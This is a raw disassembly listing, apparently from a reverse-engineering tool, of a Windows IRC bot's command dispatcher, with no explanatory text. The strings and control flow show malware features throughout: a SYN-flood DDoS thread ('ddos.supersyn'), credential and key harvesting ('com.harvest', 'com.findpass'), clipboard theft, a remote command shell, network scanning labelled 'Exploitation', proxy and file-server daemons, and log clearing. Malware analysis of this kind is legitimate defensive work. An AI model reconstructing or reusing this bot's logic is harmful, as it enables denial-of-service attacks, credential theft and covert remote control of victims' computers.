push offset aS_3 ; "%s"
push eax
call sub_416FB6
push [ebp+esi+var_84]
call sub_41751F
mov [ebp+var_6D4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_874], eax
lea eax, [ebp+var_D4]
push 7Fh
push eax
lea eax, [ebp+var_754]
push eax
call sub_418910
mov eax, [ebp+var_4]
mov [ebp+var_6CC], eax
mov eax, [ebp+var_8]
mov [ebp+var_6C8], eax
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_2EC]
push offset dword_437A04
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 13h
push eax
call sub_416A7A
add esp, 34h
mov [ebp+var_6D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_874]
push ebx
push eax
push offset sub_40C16F
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_6D0]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_40F6A5
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_4379C0
jmp loc_412988
; ---------------------------------------------------------------------------
loc_40F69D: ; CODE XREF: sub_40EC43+A68j
push 32h
call dword_423064 ; Sleep
loc_40F6A5: ; CODE XREF: sub_40EC43+A47j
cmp [ebp+var_6C4], ebx
jz short loc_40F69D
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_40F6B2: ; CODE XREF: sub_40EC43+98Aj
lea eax, [ebp+var_D4]
push eax
push offset dword_437980
jmp loc_412988
; ---------------------------------------------------------------------------
loc_40F6C3: ; CODE XREF: sub_40EC43+97Aj
lea eax, [ebp+var_D4]
push eax
push offset dword_437940
jmp loc_412988
; ---------------------------------------------------------------------------
loc_40F6D4: ; CODE XREF: sub_40EC43+69Dj
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42E91C
mov [edi], ecx
jnz loc_40F098
loc_40F6EA: ; CODE XREF: sub_40EC43+96Ej
mov edi, [edi]
mov [ebp+arg_8], edi
push edi
mov edi, offset aC_1 ; "c"
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414CE6
push [ebp+arg_8]
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414CE6
cmp [ebp+var_AC], ebx
jnz short loc_40F73A
push [ebp+var_90]
push offset dword_437B40
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_414CDE
loc_40F73A: ; CODE XREF: sub_40EC43+ADBj
cmp [ebp+arg_28], ebx
jnz loc_414CDE
xor edi, edi
cmp dword_4306F8, ebx
jle loc_40F8DE
mov [ebp+arg_20], offset dword_4437E8
loc_40F758: ; CODE XREF: sub_40EC43+B34j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F77E
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4306F8
jl short loc_40F758
jmp loc_40F8DE
; ---------------------------------------------------------------------------
loc_40F77E: ; CODE XREF: sub_40EC43+B24j
push offset asc_437C50 ; " :"
push [ebp+arg_0]
call sub_417580
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F098
mov cl, byte_42E91C
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42E91C
mov [eax+3], cl
lea ecx, dword_443800[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_418910
lea eax, dword_4437E8[edi]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
lea edi, [ebp+esi+var_54]
loc_40F7D9: ; CODE XREF: sub_40EC43+C30j
push [ebp+arg_20]
lea eax, [ebp+var_B8]
push offset aD_0 ; "$%d-"
push eax
call sub_416FB6
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_417580
add esp, 14h
test eax, eax
jz short loc_40F83B
cmp [edi], ebx
jz short loc_40F83F
push [ebp+arg_C]
call sub_4177B0
add [ebp+var_C], eax
pop ecx
jz short loc_40F86A
push dword ptr [edi-4]
push [ebp+var_C]
call sub_417580
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40F86A
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A610
add esp, 0Ch
jmp short loc_40F86A
; ---------------------------------------------------------------------------
loc_40F83B: ; CODE XREF: sub_40EC43+BBEj
cmp [edi], ebx
jnz short loc_40F86A
loc_40F83F: ; CODE XREF: sub_40EC43+BC2j
lea eax, [ebp+var_B8]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_418910
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A610
add esp, 18h
loc_40F86A: ; CODE XREF: sub_40EC43+BD0j
; sub_40EC43+BE1j ...
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg loc_40F7D9
lea eax, [ebp+esi+var_54]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40F886: ; CODE XREF: sub_40EC43+C8Fj
push [ebp+arg_20]
lea eax, [ebp+var_B8]
push offset aD ; "$%d"
push eax
call sub_416FB6
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_417580
add esp, 14h
test eax, eax
jz short loc_40F8C9
mov eax, [edi]
cmp eax, ebx
jz short loc_40F8C9
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A610
add esp, 0Ch
loc_40F8C9: ; CODE XREF: sub_40EC43+C6Bj
; sub_40EC43+C71j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40F886
mov [ebp+var_EC], 1
loc_40F8DE: ; CODE XREF: sub_40EC43+B08j
; sub_40EC43+B36j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_42E91C
jz short loc_40F8F7
cmp [ebp+var_EC], ebx
jz loc_40FAD7
loc_40F8F7: ; CODE XREF: sub_40EC43+CA6j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe_0 ; "$me"
push edi
call sub_40A610
lea eax, [ebp+var_D4]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_40A610
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_40A610
push ebx
push ebx
lea eax, [ebp+var_B8]
push 2
push eax
call sub_415A3A
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_40A610
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_40A610
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_417580
add esp, 14h
jmp loc_40FA52
; ---------------------------------------------------------------------------
loc_40F96E: ; CODE XREF: sub_40EC43+E11j
push edi
push [ebp+arg_0]
call sub_417580
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_B8]
push eax
call sub_418910
lea eax, [ebp+var_B8]
push offset asc_4378F8 ; ")"
push eax
call sub_41886E
add esp, 1Ch
cmp [ebp+var_B8], 30h
jl short loc_40F9B2
cmp [ebp+var_B8], 39h
jle short loc_40F9C8
loc_40F9B2: ; CODE XREF: sub_40EC43+D64j
push 3
lea eax, [ebp+var_B8]
push offset a63 ; "63"
push eax
call sub_418910
add esp, 0Ch
loc_40F9C8: ; CODE XREF: sub_40EC43+D6Dj
lea eax, [ebp+var_B8]
push eax
call sub_41751F
test eax, eax
pop ecx
jle short loc_40F9EB
lea eax, [ebp+var_B8]
push eax
call sub_41751F
pop ecx
mov [ebp+var_14], al
jmp short loc_40F9FC
; ---------------------------------------------------------------------------
loc_40F9EB: ; CODE XREF: sub_40EC43+D94j
call sub_417012
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40F9FC: ; CODE XREF: sub_40EC43+DA6j
lea eax, [ebp+var_B8]
mov [ebp+var_13], bl
push eax
call sub_4177B0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_B8]
push ebx
push eax
call sub_417030
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_B8]
push [ebp+arg_10]
push eax
call sub_418910
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A610
push edi
push [ebp+arg_0]
call sub_417580
add esp, 30h
loc_40FA52: ; CODE XREF: sub_40EC43+D26j
test eax, eax
jnz loc_40F96E
mov edi, 1FFh
lea eax, [ebp+var_2324]
push edi
push [ebp+arg_0]
push eax
call sub_418910
lea eax, [ebp+var_2324]
push edi
push eax
lea eax, [ebp+var_2524]
push eax
call sub_418910
mov edi, offset asc_429420 ; " "
lea eax, [ebp+var_2524]
push edi
push eax
call sub_41886E
add esp, 20h
mov [ebp+var_94], eax
mov [ebp+arg_10], 1
loc_40FAA5: ; CODE XREF: sub_40EC43+E7Cj
push edi
push ebx
call sub_41886E
pop ecx
pop ecx
mov ecx, [ebp+arg_10]
inc [ebp+arg_10]
cmp [ebp+arg_10], 20h
mov [ebp+ecx*4+var_94], eax
jl short loc_40FAA5
lea eax, [ebp+esi+var_94]
mov ecx, [eax]
cmp ecx, ebx
jz loc_40F098
add ecx, 3
mov [eax], ecx
loc_40FAD7: ; CODE XREF: sub_40EC43+CAEj
mov edi, [ebp+esi+var_94]
push edi
push offset aIrc_rndnick ; "irc.rndnick"
mov [ebp+arg_8], edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414C91
push edi
push offset aRn ; "rn"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414C91
push edi
push offset aIrc_die ; "irc.die"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414C6F
push edi
push offset aIrc_di ; "irc.di"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414C6F
push edi
push offset aIrc_logout ; "irc.logout"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414BD1
push edi
push offset aLo ; "lo"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414BD1
push edi
push offset aIrc_version ; "irc.version"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414BC2
push edi
push offset aVer ; "ver"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414BC2
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414AC5
push edi
push offset aLd_on ; "ld.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414AC5
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414AC5
push edi
push offset aLd_off ; "ld.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414AC5
push edi
push offset aProxy_socks4_o ; "proxy.socks4.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4149A4
push edi
push offset aProxy_s4_on ; "proxy.s4.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4149A4
push edi
push offset aProxy_socks4_0 ; "proxy.socks4.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FC30
push [ebp+esi+var_90]
push 11h
push offset aServer ; "Server"
push offset dword_437840
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FC30: ; CODE XREF: sub_40EC43+FD3j
push edi
push offset aDaemon_rlogin_ ; "daemon.rlogin.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FC59
push [ebp+esi+var_90]
push 6
push offset aServer ; "Server"
push offset dword_43781C
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FC59: ; CODE XREF: sub_40EC43+FFCj
push edi
push offset dword_43780C
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FC82
push [ebp+esi+var_90]
push 3
push offset aServer ; "Server"
push offset dword_437800
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FC82: ; CODE XREF: sub_40EC43+1025j
push edi
push offset dword_4377F8
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FCAB
push [ebp+esi+var_90]
push 1Dh
push offset dword_4377EC
push offset dword_4377E0
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FCAB: ; CODE XREF: sub_40EC43+104Ej
push edi
push offset aProxy_redirect ; "proxy.redirect.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FCD4
push [ebp+esi+var_90]
push 10h
push offset dword_4377BC
push offset dword_4377AC
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FCD4: ; CODE XREF: sub_40EC43+1077j
push edi
push offset dword_4377A0
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FCFD
push [ebp+esi+var_90]
push 0Ah
push offset dword_437794
push offset dword_437788
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FCFD: ; CODE XREF: sub_40EC43+10A0j
push edi
push offset dword_437778
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FD26
push [ebp+esi+var_90]
push 0Bh
push offset dword_43776C
push offset dword_437760
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FD26: ; CODE XREF: sub_40EC43+10C9j
push edi
push offset dword_437750
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FD4F
push [ebp+esi+var_90]
push 0Fh
push offset dword_437744
push offset dword_437738
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FD4F: ; CODE XREF: sub_40EC43+10F2j
push edi
push offset dword_437728
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FD78
push [ebp+esi+var_90]
push 0Eh
push offset dword_43771C
push offset dword_437710
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FD78: ; CODE XREF: sub_40EC43+111Bj
push edi
push offset aDaemon_tftp_of ; "daemon.tftp.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FDA1
push [ebp+esi+var_90]
push 4
push offset aServer ; "Server"
push offset dword_4376F4
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FDA1: ; CODE XREF: sub_40EC43+1144j
push edi
push offset aUtil_findfile_ ; "util.findfile.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414975
push edi
push offset aUtil_ff_off ; "util.ff.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414975
push edi
push offset aCom_procs_off ; "com.procs.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414960
push edi
push offset aCom_ps_off ; "com.ps.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414960
push edi
push offset aClone_off ; "clone.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FE1E
push [ebp+esi+var_90]
push 18h
push offset aClone ; "Clone"
push offset dword_437694
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FE1E: ; CODE XREF: sub_40EC43+11C1j
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FE47
push [ebp+esi+var_90]
push 1Ah
push offset aSecure_0 ; "Secure"
push offset dword_43766C
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FE47: ; CODE XREF: sub_40EC43+11EAj
push edi
push offset aRoot_stop ; "root.stop"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FE70
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_414988
; ---------------------------------------------------------------------------
loc_40FE70: ; CODE XREF: sub_40EC43+1213j
push edi
push offset aRoot_stats ; "root.stats"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414947
push edi
push offset aRoot_st ; "root.st"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414947
push edi
push offset aIrc_reconnect ; "irc.reconnect"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414926
push edi
push offset aIrc_r ; "irc.r"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414926
push edi
push offset aIrc_disconnect ; "irc.disconnect"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414904
push edi
push offset aIrc_d ; "irc.d"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414904
push edi
push offset aIrc_quit ; "irc.quit"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4148BB
push edi
push offset aIrc_q ; "irc.q"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4148BB
push edi
push offset aIrc_status ; "irc.status"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41487D
push edi
push offset aIrc_s ; "irc.s"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41487D
push edi
push offset aIrc_id ; "irc.id"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414846
push edi
push offset aIrc_i ; "irc.i"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414846
push edi
push offset aCom_rebewt ; "com.rebewt"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFBE
call sub_40AA4E
test eax, eax
mov eax, offset dword_437594
jnz short loc_40FF90
mov eax, offset dword_437560
loc_40FF90: ; CODE XREF: sub_40EC43+1346j
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 1Ch
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_40FFBE: ; CODE XREF: sub_40EC43+1338j
push edi
push offset aThreads_list ; "threads.list"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414768
push edi
push offset aThreads_l ; "threads.l"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414768
push edi
push offset aIrc_aliases ; "irc.aliases"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414745
push edi
push offset aIrc_al ; "irc.al"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414745
push edi
push offset aIrc_log ; "irc.log"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414656
push edi
push offset aIrc_lg ; "irc.lg"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414656
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41463A
push edi
push offset aUtil_clg ; "util.clg"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41463A
push edi
push offset aCom_netinfo ; "com.netinfo"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414600
push edi
push offset aCom_ni ; "com.ni"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414600
push edi
push offset aDdos_supersyn ; "ddos.supersyn"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_41019F
mov edi, [ebp+esi+var_90]
push 7Fh
lea eax, [ebp+var_1438]
push edi
push eax
call sub_418910
mov eax, [ebp+esi+var_8C]
push 7Fh
mov [ebp+arg_18], eax
push eax
lea eax, [ebp+var_13B8]
push eax
call sub_418910
mov esi, [ebp+esi+var_88]
push 7Fh
lea eax, [ebp+var_1338]
push esi
push eax
call sub_418910
push 7Fh
lea eax, [ebp+var_12B8]
push [ebp+var_8C]
push eax
call sub_418910
mov eax, [ebp+var_4]
push esi
push [ebp+arg_18]
mov [ebp+var_1234], eax
mov eax, [ebp+var_8]
mov [ebp+var_1230], eax
mov eax, [ebp+arg_4]
mov [ebp+var_143C], eax
push edi
lea eax, [ebp+var_2EC]
push offset unk_4374A0
push eax
call sub_416FB6
add esp, 44h
lea eax, [ebp+var_2EC]
push ebx
push 14h
push eax
call sub_416A7A
add esp, 0Ch
mov [ebp+var_1238], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_143C]
push ebx
push eax
push offset sub_40182F
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_1238]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_410192
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_437450
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_41018A: ; CODE XREF: sub_40EC43+1555j
push 32h
call dword_423064 ; Sleep
loc_410192: ; CODE XREF: sub_40EC43+1534j
cmp [ebp+var_122C], ebx
jz short loc_41018A
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_41019F: ; CODE XREF: sub_40EC43+145Cj
push edi
push offset aCom_sysinfo ; "com.sysinfo"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4145D5
push edi
push offset aCom_si ; "com.si"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4145D5
push edi
push offset aIrc_rem0ve ; "irc.rem0ve"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41459B
push edi
push offset aIrc_rm0 ; "irc.rm0"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41459B
push edi
push offset aCom_procs ; "com.procs"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414479
push edi
push offset aCom_ps ; "com.ps"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414479
push edi
push offset aCom_harvest ; "com.harvest"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41444F
push edi
push offset aCom_key ; "com.key"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41444F
push edi
push offset aCom_uptime ; "com.uptime"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4143C8
push edi
push offset aCom_up ; "com.up"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4143C8
push edi
push offset aCom_driveinfo ; "com.driveinfo"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4143AB
push edi
push offset aCom_drv ; "com.drv"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4143AB
push edi
push offset aCom_testdlls ; "com.testdlls"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414392
push edi
push offset aCom_dll ; "com.dll"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414392
push edi
push offset aCom_opencmd ; "com.opencmd"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41434B
push edi
push offset aCom_ocmd ; "com.ocmd"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41434B
push edi
push offset aCom_ocmd_off ; "com.ocmd.off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410318
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_414988
; ---------------------------------------------------------------------------
loc_410318: ; CODE XREF: sub_40EC43+16BBj
push edi
push offset aIrc_who ; "irc.who"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41039F
cmp [ebp+var_8], ebx
jnz short loc_410348
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_410348: ; CODE XREF: sub_40EC43+16E9j
mov edi, [ebp+arg_18]
xor esi, esi
loc_41034D: ; CODE XREF: sub_40EC43+1750j
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_410359
mov eax, offset aEmpty ; "<Empty>"
loc_410359: ; CODE XREF: sub_40EC43+170Fj
push eax
push esi
lea eax, [ebp+var_2EC]
push offset aD_S ; "%d. %s"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_41034D
push offset dword_437324
jmp loc_413525
; ---------------------------------------------------------------------------
loc_41039F: ; CODE XREF: sub_40EC43+16E4j
push edi
push offset aCom_getclip ; "com.getclip"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41430A
push edi
push offset aCom_gc ; "com.gc"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41430A
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4142DF
push edi
push offset aUtil_farp ; "util.farp"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4142DF
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4142AF
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4142AF
push edi
push offset aRoot_currentip ; "root.currentip"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414275
push edi
push offset aRoot_cip ; "root.cip"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414275
push edi
push offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414119
push edi
push offset aDaemon_rl_on ; "daemon.rl.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414119
push edi
push offset aDaemon_httpd_o ; "daemon.httpd.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413FA4
push edi
push offset aDaemon_web_on ; "daemon.web.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413FA4
push edi
push offset aDaemon_tftp_on ; "daemon.tftp.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413E6C
push edi
push offset aDaemon_tf_on ; "daemon.tf.on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413E6C
push edi
push offset aCom_findpass ; "com.findpass"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413DC6
push edi
push offset aCom_fp ; "com.fp"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413DC6
push edi
push offset aScanall ; "scanall"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413AC7
push edi
push offset aSa ; "sa"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413AC7
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40F098
push [ebp+arg_8]
push offset aIrc_nick ; "irc.nick"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413AA6
push [ebp+arg_8]
push offset aIrc_n ; "irc.n"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413AA6
push [ebp+arg_8]
push offset aIrc_join ; "irc.join"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413A86
push [ebp+arg_8]
push offset aIrc_j ; "irc.j"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413A86
push [ebp+arg_8]
push offset aIrc_part ; "irc.part"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413A70
push [ebp+arg_8]
push offset aIrc_pt ; "irc.pt"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413A70
push [ebp+arg_8]
push offset aIrc_raw ; "irc.raw"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413A3C
push [ebp+arg_8]
push offset aIrc_ra ; "irc.ra"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413A3C
push [ebp+arg_8]
push offset aThreads_kill ; "threads.kill"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41398C
push [ebp+arg_8]
push offset aThreads_k ; "threads.k"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41398C
push [ebp+arg_8]
push offset aClone_quit ; "clone.quit"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4138E3
push [ebp+arg_8]
push offset aClone_q ; "clone.q"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4138E3
push [ebp+arg_8]
push offset aClone_rndnick ; "clone.rndnick"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413898
push [ebp+arg_8]
push offset aClone_rn ; "clone.rn"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413898
push [ebp+arg_8]
push offset aIrc_prefix ; "irc.prefix"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413883
push [ebp+arg_8]
push offset aIrc_pr ; "irc.pr"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413883
push [ebp+arg_8]
push offset aCom_open ; "com.open"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413859
push [ebp+arg_8]
push offset aCom_o ; "com.o"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413859
push [ebp+arg_8]
push offset aIrc_setserve ; "irc.setserve"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413834
push [ebp+arg_8]
push offset aIrc_se ; "irc.se"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413834
push [ebp+arg_8]
push offset aIrc_dns ; "irc.dns"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4137D5
push [ebp+arg_8]
push offset aIrc_dn ; "irc.dn"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4137D5
push [ebp+arg_8]
push offset aCom_killprocna ; "com.killprocname"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4137A9
push [ebp+arg_8]
push offset aCom_kpn ; "com.kpn"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4137A9
push [ebp+arg_8]
push offset aCom_prockillid ; "com.prockillid"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41374E
push [ebp+arg_8]
push offset aCom_pkid ; "com.pkid"
